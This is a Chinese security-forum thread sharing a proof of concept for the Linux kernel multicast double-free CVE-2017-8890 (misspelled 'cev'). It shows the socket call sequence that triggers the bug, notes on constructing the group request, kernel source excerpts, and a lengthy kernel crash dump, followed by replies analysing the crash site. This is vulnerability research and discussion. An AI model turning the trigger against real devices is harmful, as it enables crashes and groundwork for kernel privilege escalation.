首页
社区
课程
招聘
[分享]cev-2017-8890 poc [三星s7 测试通过]
发表于: 2017-6-19 10:12 7660

[分享]cev-2017-8890 poc [三星s7 测试通过]

2017-6-19 10:12
7660

潜伏 11 年之久,Linux 惊现高危内核漏洞 "Phoenix Talon"

漏洞的具体细节可以看这篇转载 http://bbs.pediy.com/thread-218526.htm ,网上也有些分析了。具体自己google 看看。

过程:

setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));

//当产生连接时,这个过程复制了一份server_socket 的 mc_list 到 new_server_socket 
int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);

//释放了 mc_list 
close(new_server_socket )
//再次释放 mc_list 
close(server_socket);

poc 构造上注意几点细节:

setsockopt group_req 的构造。

int ip_mc_join_group(struct sock *sk, struct ip_mreqn *imr)
{
	__be32 addr = imr->imr_multiaddr.s_addr;
	struct ip_mc_socklist *iml, *i;
	struct in_device *in_dev;
	struct inet_sock *inet = inet_sk(sk);
	struct net *net = sock_net(sk);
	int ifindex;
	int count = 0;
	int err;
	ASSERT_RTNL();
        //addr 要符合条件。
	if (!ipv4_is_multicast(addr))
		return -EINVAL;
static inline bool ipv4_is_multicast(__be32 addr)
{
	return (addr & htonl(0xf0000000)) == htonl(0xe0000000);
//core dump....
<4>ip_setsockopt.....
<4>do_ip_setsockopt.....
<4>setsockopt Group....
<4>ip_setsockopt.....
<4>do_ip_setsockopt.....
<4>MCAST_JOIN_GROUP.....
<4>MCAST_JOIN_GROUP222.....
<4>MCAST_JOIN_GROU3333.....
<4>MCAST_JOIN_GROU444444.....
<4>ip_mc_join_group.....
<4>ip_mc_join_group addr : a0a02e0.....
<4>ip_mc_join_group2222.....
<4>accept4 1111...
<4>accept4 22222...
<4>accept4 33333...
<4>accept4 4444444...
<4>accept4 555555...
<4>accept4 666666...
<4>accept4 7777777...
<4>accept4 8888....
<4>accept4 9999....
<4>inet_csk_reqsk_queue_hash_add .....
<4>CPU: 0 PID: 1561 Comm: poc Not tainted 3.18.0+ #42
<4>Hardware name: ranchu (DT)
<0>Call trace:
<4>[<ffffffc0000897f0>] dump_backtrace+0x0/0x124
<4>[<ffffffc000089924>] show_stack+0x10/0x1c
<4>[<ffffffc000569734>] dump_stack+0x74/0xb8
<4>[<ffffffc0004854f8>] inet_csk_reqsk_queue_hash_add+0x30/0x140
<4>[<ffffffc000493c2c>] tcp_conn_request+0x554/0x6a0
<4>[<ffffffc00049bbbc>] tcp_v4_conn_request+0x70/0x7c
<4>[<ffffffc000492b68>] tcp_rcv_state_process+0x18c/0xcfc
<4>[<ffffffc00049acb8>] tcp_v4_do_rcv+0x8c/0x380
<4>[<ffffffc00049d5d0>] tcp_v4_rcv+0x7e8/0x7fc
<4>[<ffffffc000478fc0>] ip_local_deliver_finish+0xf4/0x298
<4>[<ffffffc00047963c>] ip_local_deliver+0xac/0xc4
<4>[<ffffffc0004791d4>] ip_rcv_finish+0x70/0x310
<4>[<ffffffc00047990c>] ip_rcv+0x2b8/0x3e8
<4>[<ffffffc0004122e8>] __netif_receive_skb_core+0x26c/0x74c
<4>[<ffffffc000412d88>] __netif_receive_skb+0x28/0x84
<4>[<ffffffc0004135cc>] process_backlog+0x94/0x17c
<4>[<ffffffc000417e2c>] net_rx_action+0x138/0x194
<4>[<ffffffc00009e394>] __do_softirq+0x110/0x268
<4>[<ffffffc00009e5a4>] do_softirq+0x5c/0x68
<4>[<ffffffc00009e660>] __local_bh_enable_ip+0xb0/0xd0
<4>[<ffffffc00047e790>] ip_finish_output+0x244/0x8a4
<4>[<ffffffc00047f108>] ip_output+0xbc/0xcc
<4>[<ffffffc00047d6b8>] ip_local_out_sk+0x38/0x48
<4>[<ffffffc00047d9f4>] ip_queue_xmit+0x118/0x38c
<4>[<ffffffc0004957c4>] tcp_transmit_skb+0x3d4/0x94c
<4>[<ffffffc0004989ec>] tcp_connect+0x8c0/0x9b0
<4>[<ffffffc00049a410>] tcp_v4_connect+0x240/0x3e8
<4>[<ffffffc0004b1360>] __inet_stream_connect+0x104/0x360
<4>[<ffffffc0004b15f4>] inet_stream_connect+0x38/0x58
<4>[<ffffffc0003fed54>] SyS_connect+0xd8/0x100
<4>accept4 1111...
<4>accept4 22222...
<4>accept4 33333...
<4>accept4 4444444...
<4>accept4 555555...
<4>accept4 666666...
<4>accept4 7777777...
<4>accept4 8888....
<4>accept4 9999....
<4>Hardware name: ranchu (DT)
<4>task: ffffffc016a1d240 ti: ffffffc01c5d8000 task.ti: ffffffc01c5d8000
<4>PC is at ip_mc_leave_src+0x28/0xa8
<4>LR is at ip_mc_drop_socket+0x60/0xac
<4>pc : [<ffffffc0004b3a4c>] lr : [<ffffffc0004b60d0>] pstate: 60000145
<4>sp : ffffffc01c5dbd60
<4>x29: ffffffc01c5dbd60 x28: ffffffc01c5d8000 
<4>x27: ffffffc00070d000 x26: 0000000000000039 
<4>x25: 0000000000000119 x24: ffffffc02d50ea10 
<4>x23: ffffffc000737900 x22: ffffffc03cbf0700 
<4>x21: ffffffc03cbf0700 x20: ffffffc03cad0dc0 
<4>x19: 000000736b636f4c x18: 00000000068528ac 
<4>x17: 000000736b269d4c x16: ffffffc00016f168 
<4>x15: 001dcd6500000000 x14: 0000000000000000 
<4>x13: 2074656b636f735f x12: 7265767265735f77 
<4>x11: 0000000000000000 x10: 000000000000000a 
<4>x9 : ae01b9db5c3c4424 x8 : 0000000000000039 
<4>x7 : ffffffc000751530 x6 : 0000000000000000 
<4>x5 : 0000000000000000 x4 : ffffffc01c5dbd20 
<4>x3 : 0000000000000000 x2 : 00000000656b6157 
<4>x1 : ffffffc03cad0dc0 x0 : 0000000000000000 
<4>
<4>PC: 0xffffffc0004b39cc:
<4>39cc  a9446bf9 a8c77bfd d65f03c0 aa1303e0 97fffad1 2a160000 34fffe60 f9400260
<4>39ec  97fffebe 17fffff0 8b37ce61 f9401020 128002b5 b4fffd80 d1000400 f9001020
<4>3a0c  17ffffc0 52800015 52800016 17ffffd1 12800240 17ffffac a9bd7bfd 910003fd
<4>3a2c  a90153f3 a9025bf5 aa0103f4 aa0003f5 f9400c33 aa0203e0 b9401422 b4000313
<4>3a4c  b9400663 91006264 91002021 52800005 97ffff7f 2a0003f6 aa1303e0 f9000e9f
<4>3a6c  910462a3 b8408413 91001a73 531e7673 885f7c61 4b130021 88027c61 35ffffa2
<4>3a8c  d2800101 97f0c806 2a1603e0 a94153f3 a9425bf5 a8c37bfd d65f03c0 91002021
<4>3aac  52800003 d2800004 52800005 97ffff68 a94153f3 a9425bf5 a8c37bfd d65f03c0
<4>
<4>LR: 0xffffffc0004b6050:
<4>6050  1a9f27f3 97f0adad 17fffff1 52800013 97f0adaa 17ffffee 52800003 17ffffe5
<4>6070  a9bc7bfd 910003fd a90153f3 a9025bf5 f9001bf7 f9417401 b4000401 aa0003f6
<4>6090  97fdca67 b0001417 910462d4 912402f7 f94176d3 b4000313 f9400261 aa1703e0
<4>60b0  f90176c1 b9401261 97ffe271 aa0003f5 aa1303e1 aa1603e0 aa1503e2 97fff656
<4>60d0  aa1503e0 b4000075 b9400a61 97fffb41 885f7e80 5100c000 88017e80 35ffffa1
<4>60f0  d2800401 8b010260 97f0be6c f94176d3 b5fffd53 97fdca5a a94153f3 a9425bf5
<4>6110  f9401bf7 a8c47bfd d65f03c0 f9401004 53003c63 b4000564 52800020 72b3c6e0
<4>6130  1b007c20 53177c00 f8605884 b5000084 1400001c f9401c84 b4000344 b9400880
<4>
<4>SP: 0xffffffc01c5dbce0:
<4>bce0  3cad0dc0 ffffffc0 3cbf0700 ffffffc0 3cbf0700 ffffffc0 00737900 ffffffc0
<4>bd00  2d50ea10 ffffffc0 00000119 00000000 00000039 00000000 0070d000 ffffffc0
<4>bd20  1c5d8000 ffffffc0 1c5dbd60 ffffffc0 004b60d0 ffffffc0 1c5dbd60 ffffffc0
<4>bd40  004b3a4c ffffffc0 60000145 00000000 1c5dbd70 ffffffc0 004aeaac ffffffc0
<4>bd60  1c5dbd90 ffffffc0 004b60d0 ffffffc0 3cad0dc0 ffffffc0 3cbf0818 ffffffc0
<4>bd80  00000000 00000000 3cbf0700 ffffffc0 1c5dbdd0 ffffffc0 004b0334 ffffffc0
<4>bda0  3cbf0700 ffffffc0 20d49680 ffffffc0 00000000 00000000 3e816520 ffffffc0
<4>bdc0  20c710c0 ffffffc0 2d50ea10 ffffffc0 1c5dbe00 ffffffc0 003fd8e4 ffffffc0
<4>
<4>X1: 0xffffffc03cad0d40:
<4>0d40  3cad0ec0 ffffffc0 00000000 00000000 00000000 00000000 00000000 00000000
<4>0d60  3cad0ee0 ffffffc0 00000020 00000000 00000000 00000000 00000000 00000000
<4>0d80  00000000 00000000 00000200 dead0000 00000002 00000000 00000000 00000000
<4>0da0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>0dc0  3cad0a00 ffffffc0 72656761 76726553 2e656369 656b6157 6b636f4c 00000073
<4>0de0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>0e00  168c0d10 ffffffc0 18ad13f0 ffffffc0 168c0d88 ffffffc0 168c0d88 ffffffc0
<4>0e20  00000001 00000000 00000000 00000000 3cad0460 ffffffc0 00000003 00000000
<4>
<4>X4: 0xffffffc01c5dbca0:
<4>bca0  65735f77 72657672 636f735f 2074656b 00000000 00000000 00000000 001dcd65
<4>bcc0  0016f168 ffffffc0 6b269d4c 00000073 068528ac 00000000 6b636f4c 00000073
<4>bce0  3cad0dc0 ffffffc0 3cbf0700 ffffffc0 3cbf0700 ffffffc0 00737900 ffffffc0
<4>bd00  2d50ea10 ffffffc0 00000119 00000000 00000039 00000000 0070d000 ffffffc0
<4>bd20  1c5d8000 ffffffc0 1c5dbd60 ffffffc0 004b60d0 ffffffc0 1c5dbd60 ffffffc0
<4>bd40  004b3a4c ffffffc0 60000145 00000000 1c5dbd70 ffffffc0 004aeaac ffffffc0
<4>bd60  1c5dbd90 ffffffc0 004b60d0 ffffffc0 3cad0dc0 ffffffc0 3cbf0818 ffffffc0
<4>bd80  00000000 00000000 3cbf0700 ffffffc0 1c5dbdd0 ffffffc0 004b0334 ffffffc0
<4>
<4>X7: 0xffffffc0007514b0:
<4>14b0  00000000 00000000 00000000 00000000 00000000 00000000 3e803400 ffffffc0
<4>14d0  00000000 00000000 3e824000 ffffffc0 3e824080 ffffffc0 3e814ec0 ffffffc0
<4>14f0  3e824040 ffffffc0 3e803600 ffffffc0 3e803800 ffffffc0 3e803a00 ffffffc0
<4>1510  3e803c00 ffffffc0 3e803e00 ffffffc0 00000000 00000000 3ffd9000 ffffffc0
<4>1530  00000000 00000000 00000000 00000000 3e8e6980 ffffffc0 00000001 00000000
<4>1550  008d008d 00000000 3e870bc0 ffffffc0 3e804600 ffffffc0 00010001 00000000
<4>1570  00718138 ffffffc0 3e828580 ffffffc0 00000000 00000000 3e801d80 ffffffc0
<4>1590  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>
<4>X16: 0xffffffc00016f0e8:
<4>f0e8  f90013f5 aa0003f3 aa0103f5 f9401c02 b40002e2 f9401402 f9403842 b4000242
<4>f108  d63f0040 2a0003f4 b9404660 377000e0 aa1303e0 aa1503e1 9400fc33 aa1303e0
<4>f128  aa1503e1 94012946 aa1303e0 94000af9 2a1403e0 a94153f3 f94013f5 a8c37bfd
<4>f148  d65f03c0 52800014 17fffff0 f0002800 9105c000 940fe74b 52800000 17fffff6
<4>f168  a9bf7bfd 910003e1 910003fd 9272c422 2a0003e1 f9400840 f944c400 940079b1
<4>f188  11080401 7100043f 54000109 121e7801 93407c00 3108103f 92800061 9a811000
<4>f1a8  a8c17bfd d65f03c0 92800060 a8c17bfd d65f03c0 a9bf7bfd 52800340 910003fd
<4>f1c8  97fcd091 53001c00 340000a0 94067d99 d2800000 a8c17bfd d65f03c0 92800000
<4>
<4>X20: 0xffffffc03cad0d40:
<4>0d40  3cad0ec0 ffffffc0 00000000 00000000 00000000 00000000 00000000 00000000
<4>0d60  3cad0ee0 ffffffc0 00000020 00000000 00000000 00000000 00000000 00000000
<4>0d80  00000000 00000000 00000200 dead0000 00000002 00000000 00000000 00000000
<4>0da0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>0dc0  3cad0a00 ffffffc0 72656761 76726553 2e656369 656b6157 6b636f4c 00000073
<4>0de0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>0e00  168c0d10 ffffffc0 18ad13f0 ffffffc0 168c0d88 ffffffc0 168c0d88 ffffffc0
<4>0e20  00000001 00000000 00000000 00000000 3cad0460 ffffffc0 00000003 00000000
<4>
<4>X21: 0xffffffc03cbf0680:
<4>0680  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>06a0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>06c0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>06e0  3cbf0700 ffffffc0 00000000 00000000 00000000 00000000 00000000 00000000
<4>0700  00000000 00000000 00000000 1a0a0000 000a0002 00000000 00000000 00000000
<4>0720  3cad0960 ffffffc0 00740320 ffffffc0 00000000 00000000 00000000 00000000
<4>0740  00000000 00000000 00000000 00000000 40000015 00000000 007ba428 ffffffc0
<4>0760  ffffffff 00000001 000c000c 00000000 00000000 00000000 3cbf0778 ffffffc0
<4>
<4>X22: 0xffffffc03cbf0680:
<4>0680  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>06a0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>06c0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>06e0  3cbf0700 ffffffc0 00000000 00000000 00000000 00000000 00000000 00000000
<4>0700  00000000 00000000 00000000 1a0a0000 000a0002 00000000 00000000 00000000
<4>0720  3cad0960 ffffffc0 00740320 ffffffc0 00000000 00000000 00000000 00000000
<4>0740  00000000 00000000 00000000 00000000 40000015 00000000 007ba428 ffffffc0
<4>0760  ffffffff 00000001 000c000c 00000000 00000000 00000000 3cbf0778 ffffffc0
<4>
<4>X23: 0xffffffc000737880:
<4>7880  00034000 00040000 00040000 00000000 00000080 00000000 00000000 00000000
<4>78a0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>78c0  00000010 00000000 00000001 00000000 007378d0 ffffffc0 007378d0 ffffffc0
<4>78e0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>7900  00000001 00000001 00020002 00000000 00738910 ffffffc0 00738910 ffffffc0
<4>7920  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>7940  00711388 ffffffc0 f0000373 00000000 3e805a00 ffffffc0 3e805a80 ffffffc0
<4>7960  00562a68 ffffffc0 0071b978 ffffffc0 00000000 00000001 00000002 00000000
<4>
<4>X24: 0xffffffc02d50e990:
<4>e990  00000000 00000000 3c94b180 ffffffc0 00000000 00000000 00000000 00000000
<4>e9b0  00000020 00000000 ffffffff ffffffff 00000000 00000000 00000000 00000000
<4>e9d0  00000000 00000000 2d50e9d8 ffffffc0 2d50e9d8 ffffffc0 2d50e9e8 ffffffc0
<4>e9f0  2d50e9e8 ffffffc0 20d5a418 ffffffc0 00000000 00000000 00171a5c ffffffc0
<4>ea10  3e816520 ffffffc0 20c710c0 ffffffc0 20d496b0 ffffffc0 005b93c0 ffffffc0
<4>ea30  00000000 00000000 00000000 00000000 00000002 00060003 00000001 00000000
<4>ea50  2d50ea50 ffffffc0 2d50ea50 ffffffc0 00000000 00000000 00000000 00000000
<4>ea70  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>
<4>X27: 0xffffffc00070cf80:
<4>cf80  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>cfa0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>cfc0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>cfe0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>d000  001b538c ffffffc0 001b5cd4 ffffffc0 001b6358 ffffffc0 001b6370 ffffffc0
<4>d020  001b6510 ffffffc0 001960d4 ffffffc0 001960f0 ffffffc0 0019610c ffffffc0
<4>d040  001961f8 ffffffc0 00196210 ffffffc0 00196228 ffffffc0 001962d0 ffffffc0
<4>d060  001962e8 ffffffc0 00196300 ffffffc0 00196398 ffffffc0 001963b4 ffffffc0
<4>
<4>X28: 0xffffffc01c5d7f80:
<4>7f80  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>7fa0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>7fc0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>7fe0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>8000  00000000 00000000 ffffffff ffffffff 16a1d240 ffffffc0 0070f5d0 ffffffc0
<4>8020  000a8cec ffffffc0 00000000 00000000 00000000 00000000 00000000 00000000
<4>8040  00000000 00000000 00000000 00000000 00000002 00000000 57ac6e9d 00000000
<4>8060  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>
<4>X29: 0xffffffc01c5dbce0:
<4>bce0  3cad0dc0 ffffffc0 3cbf0700 ffffffc0 3cbf0700 ffffffc0 00737900 ffffffc0
<4>bd00  2d50ea10 ffffffc0 00000119 00000000 00000039 00000000 0070d000 ffffffc0
<4>bd20  1c5d8000 ffffffc0 1c5dbd60 ffffffc0 004b60d0 ffffffc0 1c5dbd60 ffffffc0
<4>bd40  004b3a4c ffffffc0 60000145 00000000 1c5dbd70 ffffffc0 004aeaac ffffffc0
<4>bd60  1c5dbd90 ffffffc0 004b60d0 ffffffc0 3cad0dc0 ffffffc0 3cbf0818 ffffffc0
<4>bd80  00000000 00000000 3cbf0700 ffffffc0 1c5dbdd0 ffffffc0 004b0334 ffffffc0
<4>bda0  3cbf0700 ffffffc0 20d49680 ffffffc0 00000000 00000000 3e816520 ffffffc0
<4>bdc0  20c710c0 ffffffc0 2d50ea10 ffffffc0 1c5dbe00 ffffffc0 003fd8e4 ffffffc0
<4>
<0>Process poc (pid: 1560, stack limit = 0xffffffc01c5d8058)
<0>Stack: (0xffffffc01c5dbd60 to 0xffffffc01c5dc000)
<0>bd60: 1c5dbd90 ffffffc0 004b60d0 ffffffc0 3cad0dc0 ffffffc0 3cbf0818 ffffffc0
<0>bd80: 00000000 00000000 3cbf0700 ffffffc0 1c5dbdd0 ffffffc0 004b0334 ffffffc0
<0>bda0: 3cbf0700 ffffffc0 20d49680 ffffffc0 00000000 00000000 3e816520 ffffffc0
<0>bdc0: 20c710c0 ffffffc0 2d50ea10 ffffffc0 1c5dbe00 ffffffc0 003fd8e4 ffffffc0
<0>bde0: 20d49680 ffffffc0 00000008 00000000 20d496b0 ffffffc0 00171994 00000000
<0>be00: 1c5dbe20 ffffffc0 003fd96c ffffffc0 2d50ea00 ffffffc0 00171d7c ffffffc0
<0>be20: 1c5dbe30 ffffffc0 001718e4 ffffffc0 1c5dbe70 ffffffc0 00171a68 ffffffc0
<0>be40: 16a1dc40 ffffffc0 00000000 00000000 00751000 ffffffc0 16a1d240 ffffffc0
<0>be60: 60000000 00000000 00000015 00000000 1c5dbe80 ffffffc0 000b5068 ffffffc0
<0>be80: 1c5dbeb0 ffffffc0 000894e8 ffffffc0 00000004 00000000 6b578490 00000073
<0>bea0: ffffffff ffffffff 6b2b3060 00000073 6abc0f60 00000073 0008534c ffffffc0
<0>bec0: 00000000 00000000 00085430 ffffffc0 00000000 00000000 6ac2f000 00000073
<0>bee0: 00000011 00000000 6b2ea7e0 00000073 6b2ea7ee 00000073 6ac2f011 00000073
<0>bf00: 0000000a 00000000 0000000a 00000000 00000039 00000000 5c3c4424 ae01b9db
<0>bf20: 0000000a 00000000 00000000 00000000 65735f77 72657672 636f735f 2074656b
<0>bf40: 00000000 00000000 00000000 001dcd65 6b588f80 00000073 6b269d4c 00000073
<0>bf60: 068528ac 00000000 00000003 00000000 6b578490 00000073 00000004 00000000
<0>bf80: 6abc0f99 00000073 6b5784b0 00000073 6b5783d9 00000073 6b5783fb 00000073
<0>bfa0: 6b589008 00000073 6c6c6548 2e2e2e6f 00000010 00000000 6abc0f60 00000073
<0>bfc0: 6b269d5c 00000073 6abc0f50 00000073 6b2b3060 00000073 60000000 00000000
<0>bfe0: 00000003 00000000 00000039 00000000 00000000 00000000 00000000 00000000
<0>Call trace:
<4>[<ffffffc0004b3a4c>] ip_mc_leave_src+0x28/0xa8
<4>[<ffffffc0004b60cc>] ip_mc_drop_socket+0x5c/0xac
<4>[<ffffffc0004b0330>] inet_release+0x50/0xa4
<4>[<ffffffc0003fd8e0>] sock_release+0x1c/0x98
<4>[<ffffffc0003fd968>] sock_close+0xc/0x1c
<4>[<ffffffc0001718e0>] __fput+0x88/0x1b8
<4>[<ffffffc000171a64>] ____fput+0x8/0x14
<4>[<ffffffc0000b5064>] task_work_run+0x94/0xec
<4>[<ffffffc0000894e4>] do_notify_resume+0x54/0x68
<0>Code: f9400c33 aa0203e0 b9401422 b4000313 (b9400663)


//官方修补:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?




[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 5
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
详细一点可以吗
2017-6-19 10:17
0
雪    币: 4366
活跃值: (353)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
3
请问明明是double  free的洞,为什么crash的位置在ip_mc_leave_src+0x28/0xa8呢?
具体调试了一下,crash时由于源码中ip_mc_leave_src中的psf不为0,但是又不是一个合法的地址,因此导致空指针引用。

根据ADLab的漏洞分析,第二次free应该是在ip_mc_drop_socket中的kfree_rcu才对呀。ip_mc_leave_src在kfree_rcu之前,也就是还没有调用kfree_rcu就crash了。

static  int  ip_mc_leave_src(struct  sock  *sk,  struct  ip_mc_socklist  *iml,
                             struct  in_device  *in_dev)
{
       struct  ip_sf_socklist  *psf  =  rtnl_dereference(iml->sflist);
       int  err;

       if  (!psf)  {
               /*  any-source  empty  exclude  case  */
               return  ip_mc_del_src(in_dev,  &iml->multi.imr_multiaddr.s_addr,
                       iml->sfmode,  0,  NULL,  0);
       }
       err  =  ip_mc_del_src(in_dev,  &iml->multi.imr_multiaddr.s_addr,
                       iml->sfmode,  psf->sl_count,  psf->sl_addr,  0);
       RCU_INIT_POINTER(iml->sflist,  NULL);
       /*  decrease  mem  now  to  avoid  the  memleak  warning  */
       atomic_sub(IP_SFLSIZE(psf->sl_max),  &sk->sk_omem_alloc);
       kfree_rcu(psf,  rcu);
       return  err;
}
2018-3-30 09:23
0
雪    币: 4366
活跃值: (353)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
4
void  ip_mc_drop_socket(struct  sock  *sk)
{
       struct  inet_sock  *inet  =  inet_sk(sk);
       struct  ip_mc_socklist  *iml;
       struct  net  *net  =  sock_net(sk);

       if  (!inet->mc_list)
               return;

       rtnl_lock();
       while  ((iml  =  rtnl_dereference(inet->mc_list))  !=  NULL)  {
               struct  in_device  *in_dev;

               inet->mc_list  =  iml->next_rcu;
               in_dev  =  inetdev_by_index(net,  iml->multi.imr_ifindex);
               (void)  ip_mc_leave_src(sk,  iml,  in_dev);
               if  (in_dev)
                       ip_mc_dec_group(in_dev,  iml->multi.imr_multiaddr.s_addr);
               /*  decrease  mem  now  to  avoid  the  memleak  warning  */
               atomic_sub(sizeof(*iml),  &sk->sk_omem_alloc);
               kfree_rcu(iml,  rcu);  //  1  2  3  4
       }
       rtnl_unlock();
}
2018-3-30 09:24
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
看不懂
2018-4-9 00:53
0
游客
登录 | 注册 方可回帖
返回
//